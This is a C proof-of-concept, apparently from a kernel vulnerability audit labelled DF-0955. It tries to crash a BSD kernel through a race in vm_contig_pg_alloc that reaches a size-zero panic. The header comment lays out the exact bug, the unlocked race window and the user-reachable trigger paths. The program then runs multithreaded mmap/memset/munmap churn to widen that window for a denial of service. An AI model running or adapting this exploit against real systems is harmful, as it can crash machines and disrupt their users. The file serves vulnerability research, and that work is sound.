DF-0955 / vm_contig_stress.c
/* * DF-0955 โ vm_contig_pg_alloc size=0 panic stress test. * * Bug: in sys/vm/vm_contig.c:398-426, the alloc loop calls * vm_contig_pg_free(start, (i - start) * PAGE_SIZE) on failure. On the * first iteration (i==start), the size argument is 0. vm_contig_pg_free * (vm_contig.c:489-496) does: * * size = round_page(size); * if (size == 0) * panic("vm_contig_pg_free: size must not be 0"); * * Triggering the panic requires: * 1. The verify loop (:377) to succeed on a candidate page range * 2. Between verify (:377) and alloc (:398) โ NO lock is held โ * a concurrent allocator/fault/pageout makes the FIRST page of * the range busy, OR moves it out of PQ_FREE, OR bumps hold_count. * 3. The alloc loop's first iteration then takes the failure branch, * calling vm_contig_pg_free(start, 0) โ panic. * * User-reachable paths into vm_contig_pg_alloc: * - /dev/cpuctl CPUCTL_UPDATE (SYSCAP_NOCPUCTL_UPDATE = root) * - DRM/ioctl paths (root or video group) * - netmap (root or netmap access) * - Indirectly via any contigmalloc/contigmalloc_map/kmem_alloc_contig * * This guest has no /dev/cpuctl, no /dev/netmap, no active DRM. So the * direct trigger paths are absent. This stress test instead drives * heavy memory pressure (background swap churn via mmap+munmap of * large regions) to force the page daemon into heavy activity, hoping * to widen the verify->alloc race window for any kernel-internal * contigmalloc. The race is AC:High; success is not guaranteed. */ #include <sys/types.h> #include <sys/mman.h> #include <sys/wait.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define NTHREADS 4 #define REG_MB 64 #define RUN_SEC 60 static volatile int stop = 0; static void *churn(void *arg) { size_t sz = REG_MB * 1024 * 1024; while (!stop) { void *p = mmap(NULL, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (p == MAP_FAILED) continue; /* touch every page to force allocation + pressure */ memset(p, 0x41, sz); madvise(p, sz, MADV_DONTNEED); munmap(p, sz); } return NULL; } int main(void) { printf("[*] DF-0955 vm_contig_pg_alloc size=0 panic stress test\n"); printf("[*] %d threads x %dMB churn, run %ds\n", NTHREADS, REG_MB, RUN_SEC); printf("[*] running as: uid=%d\n", getuid()); pthread_t t[NTHREADS]; for (int i = 0; i < NTHREADS; i++) pthread_create(&t[i], NULL, churn, NULL); printf("[*] stressing for %d seconds (panic may occur on vulnerable kernel)...\n", RUN_SEC); sleep(RUN_SEC); stop = 1; for (int i = 0; i < NTHREADS; i++) pthread_join(t[i], NULL); printf("[+] no panic observed in this run\n"); return 0; } |